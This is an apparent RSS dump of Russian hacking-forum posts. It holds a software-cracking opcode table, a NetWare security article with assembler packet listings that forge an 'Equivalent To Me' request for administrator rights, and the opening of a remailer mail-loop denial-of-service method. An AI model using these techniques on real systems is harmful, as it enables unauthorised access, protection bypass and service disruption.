						&lt;p&gt;Заключительные слова :&lt;/p&gt;
						&lt;p&gt;Здесь несколько важных функций, используемых для крака :&lt;/p&gt;
						&lt;p&gt;Hex: Asm: Means&lt;br /&gt;75 or 0F85 jne jump if not equal&lt;br /&gt;74 or 0F84 je jump if equal&lt;br /&gt;EB jmp jump directly to&lt;br /&gt;90 nop no operation&lt;br /&gt;77 or 0F87 ja jump if above&lt;br /&gt;0F86 jna jump if not above&lt;br /&gt;0F83 jae jump if above or equal&lt;br /&gt;0F82 jnae jump if not above or equal&lt;br /&gt;0F82 jb jump if below&lt;br /&gt;0F83 jnb jump if not below&lt;br /&gt;0F86 jbe jump if below or equal&lt;/p&gt;
						&lt;p&gt;0F87 jnbe jump if not below or equal&lt;br /&gt;0F8F jg jump if greater&lt;br /&gt;0F8E jng jump if not greater&lt;br /&gt;0F8D jge jump if greater or equal&lt;br /&gt;0F8C jnge jump if not greater or equal&lt;br /&gt;0F8C jl jump if less&lt;br /&gt;0F8D jnl jump if not less&lt;br /&gt;0F8E jle jump if less or equal&lt;br /&gt;0F8F jnle jump if not less or equal&lt;/p&gt;
						&lt;p&gt;Ваши небольшие знания по Ассемберу, вам, естественно, помогут, и они вам потребуются для использования Soft-ICE. Кроме того, вы сможете кракать эти куски с помощью&amp;#160; W32Dasm как маньяк :-) Вы не сможете дизассемблировать программы на Visual Basic, для него вам понадобятся специальные декомпилеры.&lt;/p&gt;
						&lt;p&gt;Удачи !&lt;/p&gt;</description>
			<author>mybb@mybb.ru (2525)</author>
			<pubDate>Sun, 16 Dec 2007 18:25:27 +0300</pubDate>
			<guid>https://viktoro2007.apbb.ru/viewtopic.php?pid=38#p38</guid>
		</item>
		<item>
			<title>Черный ход в NetWare</title>
			<link>https://viktoro2007.apbb.ru/viewtopic.php?pid=37#p37</link>
			<description>&lt;p&gt;Черный ход в NetWare&lt;br /&gt;Уделяя основное внимание защите информации в сети Internet, мы забываем, что подавляющее большинство сетей в России базируется на Novell NetWare.&lt;/p&gt;
						&lt;p&gt;--------------------------------------------------------------------------------&lt;/p&gt;
						&lt;p&gt;ПОДДЕЛКА АДРЕСОВ &lt;br /&gt;ГОЛЛАНДСКАЯ АТАКА &lt;br /&gt;АТАКА ПО-РУССКИ &lt;br /&gt;ПОДПИСЬ ПАКЕТОВ &lt;br /&gt;ДРУГИЕ АСПЕКТЫ БЕЗОПАСНОСТИ &lt;br /&gt;--------------------------------------------------------------------------------&lt;/p&gt;
						&lt;p&gt;В предыдущих номерах LAN уже печатались материалы, посвященные системе безопасности сети Novell NetWare. В данной статье хотелось бы рассказать о некоторых аспектах ее защиты на сетевом уровне, об ее достоинствах и недостатках.&lt;/p&gt;
						&lt;p&gt;Как правило, сеть NetWare базируется на протоколе IPX (в принципе использование IP возможно, но нами этот вариант рассматриваться не будет).&lt;/p&gt;
						&lt;p&gt;Протокол IPX был разработан фирмой Xerox, а затем доработан компанией Novell. IPX предназначен для применения в локальных сетях. Предполагается, что вся сеть разделена на логические сегменты, и все они получают уникальный номер. Адрес (идентификатор) рабочей станции в IPX-пакете совпадает с уникальным для каждой сетевой платы номером (MAC-адресом). Структура заголовка IPX-пакета изображена на Рисунке 1.&lt;br /&gt;&lt;/p&gt;
						&lt;p&gt;Рисунок 1.&lt;br /&gt;Структура заголовка пакета IPX.&lt;/p&gt;
						&lt;p&gt;ПОДДЕЛКА АДРЕСОВ&lt;br /&gt;В локальных сетях типа Ethernet пакеты IPX обычно передаются с использованием кадров Ethernet_802.2 или Ethernet_802.3, в заголовках которых основной информацией являются MAC-адреса станций получателя и отправителя. Адрес отправителя после посылки никем не проверяется, так как это непростая задача. Даже в том случае, если адрес отправителя кем-либо анализируется (например, коммутатором), подставить чужой MAC-адрес не составит труда. Почти все сетевые платы позволяют сделать это как с помощью программных средств Novell (в net.cfg), так и на низком уровне. А ODI-драйвер ODIPKT позволяет самостоятельно сформировать весь пакет и послать его как есть. &lt;/p&gt;
						&lt;p&gt;Таким образом, пакет, совершенно идентичный пакету администратора можно передать как на уровне Ethernet, так и на уровне IPX. Это означает, что протокол IPX сам по себе совершенно не защищен от посягательств на целостность сети. Следовательно, нарушить работоспособность системы может практически любой пользователь сети (не говоря о профессионалах).&lt;/p&gt;
						&lt;p&gt;К примеру, если был послан пакет с полем получателя FF,FF,FF,FF,FF,FF (всем станциям в текущем сегменте сети) в кадре Ethernet, то независимо от адреса отправителя его обязательно получит адресат, который указывается в поле &amp;quot;Адрес станции назначения&amp;quot; заголовка IPX-пакета. Более того, если некто (злоумышленник) самостоятельно заполнит IPX-пакет, то он может указать чужой адрес отправителя (администратора сети); такой пакет обязательно дойдет до адресата (сервера) и будет им обработан тем же образом, что и все остальные пакеты администратора. Такой процесс называется по-английски spoofing, а по-русски &amp;quot;подделка адресов&amp;quot;.&lt;/p&gt;
						&lt;p&gt;На уровень выше IPX находится протокол NCP (NetWare Core Protocol), он использует IPX в качестве транспортного протокола, но предусматривает, в отличие от IPX, некоторую степень защиты. NCP используется практически при всех сетевых операциях в сети NetWare; с его помощью передаются файлы и реплики между серверами, осуществляется администрирование системы и т. д. На Рисунке 2 изображена структура заголовка пакета NCP.&lt;br /&gt;&lt;/p&gt;
						&lt;p&gt;Рисунок 2.&lt;br /&gt;Структура заголовка пакета запроса NCP.&lt;/p&gt;
						&lt;p&gt;Пакеты на уровне NCP неосведомленному человеку подделать несколько сложнее, поскольку необходимо знать номер соединения администратора с сервером. Однако проблема эта вполне решаема благодаря таким программам, как userlist (в NetWare 3.x) и nlist (в NetWare 4.x) или системным функциям оболочки рабочей станции. Остальная информация может быть получена из других источников, к примеру из программы LANalyzer for Windows (фирмы Novell), которая позволяет перехватывать все проходящие мимо рабочей станции пакеты и затем расшифровывает каждое их поле (см. Рисунок 3). Так же можно использовать программу NetXRay (компании Cinco Networks), но, поскольку она написана не Novell, полной гарантии расшифровки пакетов нет. Правда, для использования этих двух программ необходимо иметь сетевую плату, поддерживающую режим приема всех пакетов (promiscuous mode). Большинство новых сетевых плат могут работать в этом режиме, например все сетевые платы компании 3Com.&lt;br /&gt;&lt;/p&gt;
						&lt;p&gt;Рисунок 3.&lt;br /&gt;Novell LANalyzer for Windows.&lt;/p&gt;
						&lt;p&gt;Таким образом, взломщик сети может узнать всю необходимую информацию о пакете, кроме поля &amp;quot;порядковый номер пакета&amp;quot;, но и тут особых проблем не будет. Это поле было введено для обеспечения гарантированной доставки пакетов. При посылке каждого пакета оно увеличивается на единицу, и, если пакет не дошел, он посылается снова. Если вклиниться в обмен пакетами между сервером и клиентом и тем самым увеличить на сервере счетчик клиентских пакетов, то клиент просто &amp;quot;повиснет&amp;quot;, т. к. он не будет знать нового значения этого счетчика и снова попытается послать пакет с неправильным номером. Сервер же, получая запрос, проверяет адрес станции, адрес сети, сокет, номер соединения и порядковый номер пакета. Если какое-либо из этих значений не соответствует ожидаемым, то он отказывается выполнять запрашиваемую операцию и не посылает ответ. &lt;/p&gt;
						&lt;p&gt;ГОЛЛАНДСКАЯ АТАКА&lt;br /&gt;На принципе подстановки пакетов была основана так называемая голландская атака, придуманная группой голландских студентов. Существует несколько версий реализации подстановки пакетов. Наиболее известная в России программа написана на ассемблере русским программистом, вместе с ней распространяется файл, содержащий описание ее работы. Эту программу автор статьи довольно часто встречал в сети своего университета, особенно у студентов первого и второго курсов. Теоретически у того, кто ее запустит, должны появиться все права на сервер - эквивалент SUPERVISOR (программа писалась для NetWare 3.x). Но у нее существует несколько недостатков. &lt;/p&gt;
						&lt;p&gt;Для успешного ее выполнения SUPERVISOR должен находиться в сети. Программа не пытается выяснить номер соединения администратора с сервером, а перебирает всех пользователей сети подряд, пока не получит результат. После выполнения программы в сети (кроме взломщика) останутся те, кому повезло (номера их соединений с сервером оказались больше, чем у администратора). Остальным (включая администратора) придется входить в сеть заново. &lt;/p&gt;
						&lt;p&gt;Автор этих строк еще не видел, чтобы данная программа работала. В ее коде существует несколько ошибок, из-за которых она &amp;quot;виснет&amp;quot; или просто не работает.&lt;/p&gt;
						&lt;p&gt;АТАКА ПО-РУССКИ&lt;br /&gt;Для проверки работы алгоритма пришлось сделать новую программу. С помощью следующего нововведения удалось добиться, чтобы в сети никто не &amp;quot;повис&amp;quot;. Серверу посылаются подряд 256 пакетов с разными значениями в поле Sequence Number (см. Рисунок 4). Только значение поля не увеличивается, а уменьшается. Следовательно, &amp;quot;правильный&amp;quot; пакет серверу придет только один, и значение счетчика пакетов на сервере увеличится только на единицу. Сервер, после того как ему приходит настоящий пакет, полагая, что ответ на предыдущий запрос станции ей не дошел, делает &amp;quot;откат&amp;quot; в счетчике пакетов и обрабатывает запрос станции снова. Но самое главное сервер не делает откат операции, которая только что была выполнена.&lt;br /&gt;&lt;/p&gt;
						&lt;p&gt;Рисунок 4.&lt;br /&gt;Схема перехвата полномочий.&lt;/p&gt;
						&lt;p&gt;На Распечатке 1 приведен формат пакета, посылаемого подобными программами. Этот пакет эмулирует выполнение операции Equivalent To Me, позволяющей получить почти все права администратора сети (для удобства фоpмат пpиведен в опpеделениях языка ассемблеp).&lt;/p&gt;
						&lt;p&gt;Данный пример не применим в случае сети NetWare 4.x по следующим причинам. В поколении сетей 4.х введен новый тип администратора - Admin. Для совместимости с предыдущими версиями существует SUPERVISOR, но администраторы сетей его не используют, хотя функция корректно обрабатывается сервером. Также в сетях 4.х возможно отключение поддержки базы Bindery в связи с переходом к службе каталогов NDS. Имя пользователя должно быть полным - т. е. с указанием дерева и контекста (например, 3107.inf.tsu). &lt;/p&gt;
						&lt;p&gt;С учетом всего вышесказанного можно построить пакет, который будет приносить результат и в сети NetWare 4.x. Заголовки протоколов IPX и NCP можно оставить без изменений, а данные NCP могут быть такими, как на Распечатке 2.&lt;/p&gt;
						&lt;p&gt;Здесь взломщик сети получает права администратора на все дерево NDS. В том случае, конечно, если подобные права есть у самого администратора, и он работает в сети.&lt;/p&gt;
						&lt;p&gt;Следует отметить, что для получения прав администратора сети злоумышленнику в любом случае необходимо иметь доступ в сеть, хотя бы с минимальными правами. Следовательно, потенциальным взломщиком может быть только тот, кто имеет доступ к ресурсам вашего сервера. Также, вполне вероятно, что некто получит доступ в сеть, используя чужое имя входа и пароль. Наверняка в вашей сети имеются пользователи с паролями, не соответствующими правилам безопасности. Например, у них вообще может не быть пароля или он совпадает с именем пользователя. Для выявления таких пользователей существуют различные вспомогательные программы. Одна из таких программ - chknull.exe - позволяет проверить наличие паролей и степень их безопасности. Запустив ее, вы увидите список пользователей, которые не удосужились задать пароль. С параметром -p программа проверит наличие пользователей, у которых пароли совпадают с их именами входа в сеть. Также в командной строке в качестве параметра вы можете перечислить нежелательные для применения пароли и получить список пользователей с такими паролями.&lt;/p&gt;
						&lt;p&gt;Эту программу, как и множество других, относящихся к теме безопасности NetWare, можно найти в глобальной сети Internet. Например, по адресу: &lt;a href=&quot;http://www.tsu.ru/~eugene/,&quot; rel=&quot;nofollow&quot; target=&quot;_blank&quot;&gt;http://www.tsu.ru/~eugene/,&lt;/a&gt; вы найдете и эти программы, и список некоторых адресов, посвященных защите сетей Novell NetWare. Но помните: программой, подобной chknull, можете воспользоваться не только вы, как администратор, но и те, кто хочет получить несанкционированный доступ в вашу сеть.&lt;/p&gt;
						&lt;p&gt;ПОДПИСЬ ПАКЕТОВ&lt;br /&gt;Начиная с версии 3.11 Novell улучшила систему безопасности NetWare за счет введения подписей пакетов (сигнатур). Для каждого пакета создается уникальная сигнатура, которую очень сложно подделать при посылке чужого NCP-пакета. Подпись представляет собой 8 байт, дописываемые в конец пакета. При приеме пакета сервер анализирует сигнатуру на предмет того, что пакет пришел именно от нужного сервера или станции и не был подставлен третьей стороной. С версии 3.12 и выше подпись стала частью системы.&lt;/p&gt;
						&lt;p&gt;Подпись пакетов имеет четыре уровня защиты (от 0 до 3). К примеру, при минимальном (нулевом) уровне защиты сервер не подпишет пакеты, даже если этого требует рабочая станция. Первый уровень предполагает, что сервер будет использовать подпись только по требованию рабочей станции. При втором уровне сервер &amp;quot;попросит&amp;quot; станцию включить подпись, и если та этого сделать не сможет, то обмен пакетами будет осуществляться без подписи; в том случае, если на сервере поставлен максимальный уровень (третий), то работать без подписи пакетов он не будет.&lt;/p&gt;
						&lt;p&gt;Теоретически сигнатура обеспечивает относительно безопасную работу в сети. Правда, злоумышленник по-прежнему имеет возможность просто следить за проходящей мимо информацией и даже сделать копию большей ее части.&lt;/p&gt;
						&lt;p&gt;При всей кажущейся выгоде использования подписи пакетов существуют некоторые проблемы.&lt;/p&gt;
						&lt;p&gt;В документации Novell по подписи пакетов присутствует фраза, которая по-русски звучит следующим образом: &amp;quot;Если у вас слишком медленно работает сеть или вы вообще не можете подсоединиться к серверу, убедитесь в том, что на рабочей станции отключена подпись пакетов и на сервере поставлена 1-я сигнатура&amp;quot;. &lt;/p&gt;
						&lt;p&gt;На практике, при использовании подписей пакетов, скорость работы в сети может снизиться на 10-200% (это зависит от конфигурации рабочих станций, сервера и сети), поэтому большинство администраторов сетей предпочитают вообще не ставить подпись или ставить ее только на своем компьютере (правда, потом обидно становится - все работают быстро, а сам медленно...).&lt;/p&gt;
						&lt;p&gt;Если у вас на сервере стоит поддержка протокола NetBIOS, то следует знать, что он не защищен подписью пакетов, т. к. инкапсулируется в IPX и пока не поддерживает NCP.&lt;/p&gt;
						&lt;p&gt;Существует еще ряд пакетов, не подписываемых сигнатурой. Например, при удаленной загрузке рабочих станций подпись пакетов не применяется, и, следовательно, можно сделать так, что станция загрузится не с сервера, а с другого компьютера. Если данный компьютер стоит в том же сегменте сети, что и рабочая станция, то сделать это не составит большого труда, а если в другом, то несколько сложнее, но все же возможно. После такой загрузки пользователь подсоединится к настоящему серверу и не заметит, что пароль, который он набирал, уже записан к кому-то на диск или в записную книжку...&lt;/p&gt;
						&lt;p&gt;Еще один тип пакетов, не имеющих подписи, - SPX. Это протокол передачи данных с гарантированной доставкой пакетов. Пакеты SPX передаются по протоколу IPX. Данный протокол используется некоторыми приложениями, например программой rconsole, позволяющей получить удаленный доступ к консоли сервера. По поводу этой программы в сети Internet уже было много дискуссий. Дело в том, что пароль доступа к консоли передается открыто и никак не шифруется. Следовательно, перехватив поток данных между компьютером администратора сети и сервером, можно получить и этот пароль, которого, вполне вероятно, будет достаточно для последующего получения прав на всю систему в целом.&lt;/p&gt;
						&lt;p&gt;ДРУГИЕ АСПЕКТЫ БЕЗОПАСНОСТИ&lt;br /&gt;Функция disconnect, обрывающая связь сервера с клиентом с помощью всего лишь одного пакета, также осталась незащищенной. Любой пользователь сети может незаметно &amp;quot;выкинуть&amp;quot; другого (даже администратора) и наслаждаться сделанной мелкой пакостью, а иногда и не мелкой (например, если в это время шел процесс резервного сохранения данных).&lt;/p&gt;
						&lt;p&gt;В заключение статьи хотелось бы сказать несколько слов о паролях в сетях NetWare. Дело в том, что узнать пароль можно только лишь при определенных условиях с помощью программы-перехватчика, которая запоминает комбинацию клавиш. Тех, кто думает, что пароль посылается по сети (а таких немало), спешим разочаровать: в NetWare этот недостаток свойственен только программам доступа к консоли сервера NetWare и регистрации пользователей Macintosh. Следовательно, заботой администратора в данной области защиты является периодическая проверка на наличие паролей.&lt;/p&gt;
						&lt;p&gt;Многие из старых ошибок уже не актуальны в последней версии IntranetWare, но в России эта система пока не получила такого распространения, как NetWare 3.x или NetWare 4.1. Многие сетевые администраторы не хотят переходить на новую систему либо по причине ее кажущейся сложности (хотя это далеко не так), либо по причине отсутствия средств, но не самое ли лучшее вложение денег - в будущую стабильность и надежность? &lt;br /&gt;&lt;br /&gt; &lt;/p&gt;
						&lt;p&gt;РАСПЕЧАТКА 1 - ФОРМАТ ПАКЕТА ДЛЯ ПОЛУЧЕНИЯ ПОЛНОМОЧИЙ&lt;br /&gt;; ------------------------ уровень Ethernet ---------------------&lt;br /&gt;&amp;#160; &amp;#160; &amp;#160; &amp;#160;db -1,-1,-1,-1,-1,-1&amp;#160; &amp;#160; &amp;#160; &amp;#160; &amp;#160; &amp;#160; &amp;#160;; Адрес получателя&lt;br /&gt;&amp;#160; &amp;#160; &amp;#160; &amp;#160;db 00,20h,0afh,089h,022h,0afh&amp;#160; &amp;#160; &amp;#160;; Адрес отправителя&lt;br /&gt;&amp;#160; &amp;#160; &amp;#160; &amp;#160;db 01,48h&amp;#160; &amp;#160; &amp;#160; &amp;#160; &amp;#160; &amp;#160; &amp;#160; &amp;#160; &amp;#160; &amp;#160; &amp;#160; &amp;#160;; Длина пакета&lt;br /&gt;; ---------------------- Заголовок пакета IPX -------------------&lt;br /&gt;&amp;#160; &amp;#160; &amp;#160; &amp;#160;dw 0ffffh&lt;br /&gt;&amp;#160; &amp;#160; &amp;#160; &amp;#160;db 01,47h&amp;#160; &amp;#160; &amp;#160; &amp;#160; &amp;#160; &amp;#160; &amp;#160; &amp;#160; &amp;#160; &amp;#160; &amp;#160; &amp;#160;; Длина IPX-пакета&lt;br /&gt;&amp;#160; &amp;#160; &amp;#160; &amp;#160;db 0&lt;br /&gt;&amp;#160; &amp;#160; &amp;#160; &amp;#160;db 17&lt;br /&gt;&amp;#160; &amp;#160; &amp;#160; &amp;#160;db ?,?,?,?&amp;#160; &amp;#160; &amp;#160; &amp;#160; &amp;#160; &amp;#160; &amp;#160; &amp;#160; &amp;#160; &amp;#160; &amp;#160; ; Сеть получателя&lt;br /&gt;&amp;#160; &amp;#160; &amp;#160; &amp;#160;db 0,0,0,0,0,1&amp;#160; &amp;#160; &amp;#160; &amp;#160; &amp;#160; &amp;#160; &amp;#160; &amp;#160; &amp;#160; &amp;#160;; Адрес получателя&lt;br /&gt;&amp;#160; &amp;#160; &amp;#160; &amp;#160;db 04,51h&amp;#160; &amp;#160; &amp;#160; &amp;#160; &amp;#160; &amp;#160; &amp;#160; &amp;#160; &amp;#160; &amp;#160; &amp;#160; &amp;#160;; Сокет получателя&lt;br /&gt;&amp;#160; &amp;#160; &amp;#160; &amp;#160;db ?,?,?,?&amp;#160; &amp;#160; &amp;#160; &amp;#160; &amp;#160; &amp;#160; &amp;#160; &amp;#160; &amp;#160; &amp;#160; &amp;#160; ; Сеть отправителя&lt;br /&gt;&amp;#160; &amp;#160; &amp;#160; &amp;#160;db ?,?,?,?,?,?&amp;#160; &amp;#160; &amp;#160; &amp;#160; &amp;#160; &amp;#160; &amp;#160; &amp;#160; &amp;#160; ; Адрес отправителя&lt;br /&gt;&amp;#160; &amp;#160; &amp;#160; &amp;#160;db ?,?&amp;#160; &amp;#160; &amp;#160; &amp;#160; &amp;#160; &amp;#160; &amp;#160; &amp;#160; &amp;#160; &amp;#160; &amp;#160; &amp;#160; &amp;#160; ; Сокет отправителя&lt;br /&gt;; ---------------------- Заголовок NCP --------------------------&lt;br /&gt;&amp;#160; &amp;#160; &amp;#160; &amp;#160;db 22h,22h&lt;br /&gt;&amp;#160; &amp;#160; &amp;#160; &amp;#160;db 48&amp;#160; &amp;#160; &amp;#160; &amp;#160; &amp;#160; &amp;#160; ;(0-256)&amp;#160; &amp;#160; &amp;#160; &amp;#160; &amp;#160; ; Порядковый номер&lt;br /&gt;&amp;#160; &amp;#160; &amp;#160; &amp;#160;db 24&amp;#160; &amp;#160; &amp;#160; &amp;#160; &amp;#160; &amp;#160; ;(подставляется)&amp;#160; &amp;#160;; Номер соединения&lt;br /&gt;&amp;#160; &amp;#160; &amp;#160; &amp;#160;db 4&lt;br /&gt;&amp;#160; &amp;#160; &amp;#160; &amp;#160;db 0&lt;br /&gt;&amp;#160; &amp;#160; &amp;#160; &amp;#160;db 68h&lt;br /&gt;&amp;#160; &amp;#160; &amp;#160; &amp;#160;db 2&lt;br /&gt;; ------------------------- Данные NCP --------------------------&lt;br /&gt;&amp;#160; &amp;#160; &amp;#160; &amp;#160;dd -1&lt;br /&gt;&amp;#160; &amp;#160; &amp;#160; &amp;#160;dd 514&lt;br /&gt;S1_2:&amp;#160; dd offset S1_1 - offset S1_2-4&lt;br /&gt;&amp;#160; &amp;#160; &amp;#160; &amp;#160;dd 0&lt;br /&gt;&amp;#160; &amp;#160; &amp;#160; &amp;#160;dd 9&lt;br /&gt;&amp;#160; &amp;#160; &amp;#160; &amp;#160;dd 0&lt;br /&gt;&amp;#160; &amp;#160; &amp;#160; &amp;#160;dd 0&lt;br /&gt;&amp;#160; &amp;#160; &amp;#160; &amp;#160;dd 0&lt;br /&gt;SUP_ID: db 67h,02h,00,06h&amp;#160; &amp;#160; &amp;#160; &amp;#160; &amp;#160; &amp;#160; ; Идентификатор супервизора&lt;br /&gt;&amp;#160; &amp;#160; &amp;#160; &amp;#160;dd 1&lt;br /&gt;&amp;#160; &amp;#160; &amp;#160; &amp;#160;dd 5&lt;br /&gt;&amp;#160; &amp;#160; &amp;#160; &amp;#160;dd 34&lt;br /&gt;&amp;#160; &amp;#160; &amp;#160; &amp;#160;db &#039;E&#039;,0,&#039;q&#039;,0,&#039;u&#039;,0,&#039;i&#039;,0,&#039;v&#039;,0,&#039;a&#039;,0,&#039;l&#039;,0,&#039;e&#039;,0&lt;br /&gt;&amp;#160; &amp;#160; &amp;#160; &amp;#160;db &#039;n&#039;,0,&#039;t&#039;,0,&#039; &#039;,0,&#039;T&#039;,0,&#039;o&#039;,0,&#039; &#039;,0,&#039;M&#039;,0,&#039;e&#039;,0&lt;br /&gt;&amp;#160; &amp;#160; &amp;#160; &amp;#160;dd 0&lt;br /&gt;&amp;#160; &amp;#160; &amp;#160; &amp;#160;dd 1&lt;br /&gt;; Имя пользователя (каждый символ в формате - &#039;символ,0&#039;) и его длина :&lt;br /&gt;&amp;#160; &amp;#160; &amp;#160; &amp;#160;dd 8&lt;br /&gt;&amp;#160; &amp;#160; &amp;#160; &amp;#160;db &#039;3&#039;,0,&#039;1&#039;,0,&#039;0&#039;,0,&#039;7&#039;,0&lt;br /&gt;S1_1:&lt;/p&gt;
						&lt;p&gt;--------------------------------------------------------------------------------&lt;/p&gt;
						&lt;p&gt;РАСПЕЧАТКА 2 - ДАННЫЕ NCP-ПАКЕТА ДЛЯ ПОЛУЧЕНИЯ ПОЛНОМОЧИЙ В СЕТИ NETWARE 4.X&lt;br /&gt;; -------------------Данные NCP - Уровень NDS -------------------&lt;br /&gt;&amp;#160; &amp;#160; &amp;#160; &amp;#160; &amp;#160; &amp;#160; dd -1&lt;br /&gt;&amp;#160; &amp;#160; &amp;#160; &amp;#160; &amp;#160; &amp;#160; dd 514&lt;br /&gt;So_2:&amp;#160; &amp;#160; &amp;#160; &amp;#160;dd offset So_1 - offset So_2+2 ; Длина сообщения&lt;br /&gt;&amp;#160; &amp;#160; &amp;#160; &amp;#160; &amp;#160; &amp;#160; dd 0&lt;br /&gt;&amp;#160; &amp;#160; &amp;#160; &amp;#160; &amp;#160; &amp;#160; dd 9&lt;br /&gt;&amp;#160; &amp;#160; &amp;#160; &amp;#160; &amp;#160; &amp;#160; dd 0&lt;br /&gt;&amp;#160; &amp;#160; &amp;#160; &amp;#160; &amp;#160; &amp;#160; dd 0&lt;br /&gt;&amp;#160; &amp;#160; &amp;#160; &amp;#160; &amp;#160; &amp;#160; dd 0&lt;br /&gt;ID&amp;#160; &amp;#160; &amp;#160; &amp;#160; &amp;#160; db ?,?,?,?&amp;#160; ;ID of [Root] &lt;br /&gt;&amp;#160; &amp;#160; &amp;#160; &amp;#160; &amp;#160; &amp;#160; dd 1&lt;br /&gt;&amp;#160; &amp;#160; &amp;#160; &amp;#160; &amp;#160; &amp;#160; dd 2&lt;br /&gt;&amp;#160; &amp;#160; &amp;#160; &amp;#160; &amp;#160; &amp;#160; dd 8&lt;br /&gt;&amp;#160; &amp;#160; &amp;#160; &amp;#160; &amp;#160; &amp;#160; db &#039;A&#039;,0,&#039;C&#039;,0,&#039;L&#039;,0,0,0&lt;br /&gt;&amp;#160; &amp;#160; &amp;#160; &amp;#160; &amp;#160; &amp;#160; dd 1&lt;br /&gt;So_3:&amp;#160; &amp;#160; &amp;#160; &amp;#160;dd So_1-So_3 ;Длина ACL&lt;br /&gt;&amp;#160; &amp;#160; &amp;#160; &amp;#160; &amp;#160; &amp;#160; dd 30&lt;br /&gt;&amp;#160; &amp;#160; &amp;#160; &amp;#160; &amp;#160; &amp;#160; db &#039;[&#039;,0,&#039;E&#039;,0,&#039;n&#039;,0,&#039;t&#039;,0,&#039;r&#039;,0,&#039;y&#039;,0,&#039; &#039;,0&lt;br /&gt;&amp;#160; &amp;#160; &amp;#160; &amp;#160; &amp;#160; &amp;#160; db &#039;R&#039;,0,&#039;i&#039;,0,&#039;g&#039;,0,&#039;h&#039;,0,&#039;t&#039;,0,&#039;s&#039;,0,&#039;]&#039;,0&lt;br /&gt;&amp;#160; &amp;#160; &amp;#160; &amp;#160; &amp;#160; &amp;#160; dd 0&lt;br /&gt;&amp;#160; &amp;#160; &amp;#160; &amp;#160; &amp;#160; &amp;#160; dd 26&amp;#160; &amp;#160; ;Длина полного имени&lt;br /&gt;So_1:&amp;#160; &amp;#160; &amp;#160; &amp;#160;db &#039;3&#039;,0,&#039;1&#039;,0,&#039;0&#039;,0,&#039;7&#039;,0,&#039;.&#039;,0,&#039;I&#039;,0,&#039;N&#039;,0,&#039;F&#039;,0&lt;br /&gt;&amp;#160; &amp;#160; &amp;#160; &amp;#160; &amp;#160; &amp;#160; db &#039;.&#039;,0,&#039;T&#039;,0,&#039;S&#039;,0,&#039;U&#039;,0&amp;#160; &amp;#160; &amp;#160; &amp;#160; &amp;#160;&lt;br /&gt;&amp;#160; &amp;#160; &amp;#160; &amp;#160; &amp;#160; &amp;#160; dd 1Fh&amp;#160; &amp;#160; ;Все права&lt;/p&gt;</description>
			<author>mybb@mybb.ru (2525)</author>
			<pubDate>Sun, 16 Dec 2007 18:21:19 +0300</pubDate>
			<guid>https://viktoro2007.apbb.ru/viewtopic.php?pid=37#p37</guid>
		</item>
		<item>
			<title>Атака на отказ через ... e-mail</title>
			<link>https://viktoro2007.apbb.ru/viewtopic.php?pid=36#p36</link>
			<description>&lt;p&gt;&amp;quot;Благими намерениями &lt;br /&gt;дорога в Ад вымощена&amp;quot; &lt;br /&gt;Стало пословицей. &lt;/p&gt;
						&lt;p&gt;Кратко смысл данной статьи можно выразить так: существующие службы (анонимных) почтовых пересылок ( часто называемых римейлингом или форвардингом) за счёт совместных недоработок открывают путь для тупейшей атаки на отказ произвольного почтового ящика/сервера с небольшими ресурсами и ... самих себя! Хуже всего то, что методика, описанная ниже, по силам и &amp;quot;чайнику&amp;quot;( правда, последнего потом, ещё можно найти). Кстати и сам автор специализируется совсем в другой области. &lt;/p&gt;
						&lt;p&gt;Атака описана на примере использования почтовых служб mail.ru, hotmail.ru и анонимного римейлера remailer@replay.com. Все имена (кроме анонима и хостов почтовых серверов) разумеется изменены. Атакуемый объект принадлежал лично автору. &lt;/p&gt;
						&lt;p&gt;Кто хорошо знаком с системами римейлинга/форвардинга может пропустить первые два раздела. &lt;/p&gt;
						&lt;p&gt;1. Первые нехорошие мысли (легальные)&lt;br /&gt;На эту идею автор натолкнулся, используя бесплатные мейл-сервера для обеспечения рассылок почты по нескольким филиалам. &lt;/p&gt;
						&lt;p&gt;Проще говоря, я использовал систему пересылки почты сервера mail.ru, указывая в поле пересылки созданного почтового ящика e-mail&#039;ы семи или восьми филиалов. Таким образом при рассылке 200 килобайтного письма экономился примерно 1 Mb трафика. Со временем число филиалов выросло, возникла необходимость объединить их в группы. Система рассылки стала иерархической, примерно такой: &lt;br /&gt;group1@ ... :( пять адресов) &lt;br /&gt;group2@ ... : ( три адреса) &lt;br /&gt;group3@ ... : ( семь адресов) &lt;br /&gt;all_group@ ... : (три_адреса: group1, group2, group3) &lt;/p&gt;
						&lt;p&gt;Возможность пересылки на несколько адресов сразу предлагают очень немного почтовых серверов, в частности mail.ru. Надо отметить также, что этот сервер сразу отказывался принимать список для пересылки, когда по ошибке в нём два раза повторялся один и тот же адрес. Более того, если адреса в группах пересекались, то всё равно отсылался лишь один экземпляр письма! Молодцы. &lt;/p&gt;
						&lt;p&gt;Естественно, начал мучить вопрос, а что будет, если подставить рекурсивную ссылку, например в адреса для какой-нибудь группы поставить адрес её самой или &amp;quot;all_group&amp;quot;. &lt;/p&gt;
						&lt;p&gt;2. Вторые нехорошие мысли (наивные).&lt;br /&gt;Почитав литературу, быстро убедился, что ничего не произойдёт, нормальные сервера пересылки вставляют в заголовок характерную строчку, позволяющую им избежать зацикливания, по схеме: А пересылает на Б, Б на А. При повторном получении того-же письма оно будет уничтожено, обычно без отсылки извещения. &lt;/p&gt;
						&lt;p&gt;Иначе открылась бы перспектива &amp;quot;случайно&amp;quot; загрузить сервера огромным количеством бессмысленной работы. Пусть, например, А пересылает на (B,C) B - на (A,C) C - (А, Б). Нетрудно увидеть, что эта схема приводит к экспоненциальному росту количества сообщений в системе. К счастью, думалось мне, подобное развитие событий исключено. &lt;/p&gt;
						&lt;p&gt;Прошёл примерно год ... Все чаще на наши адреса стал приходить спам, чьи авторы успешно пользовались анонимными почтовыми службами (типа remailer@replay.com, remailer@anon.egfa.org ) Сети для удаления первоначального адреса письма. Процедура совсем несложная: в заголовке (или начале письма ) пишете строку вида &amp;quot;Anon-To:адреса_получателей&amp;quot;, и отсылаете письмо на remailer@replay.com . В указанные почтовые ящики придут письма с обрезанным заголовком. &lt;/p&gt;
						&lt;p&gt;3. Самые нехорошие мысли ( об уголовно-наказуемом ).&lt;br /&gt;Постойте-ка, ведь использование анонимных римейлеров( дальше просто - анонимов), позволяет некоторое количество раз обойти ограничение на рекурсивную пересылку. Рассмотрим нашу последнюю схему: А пересылает на (B,C); &lt;br /&gt;B - на (A,C); C - (А, Б). &lt;/p&gt;
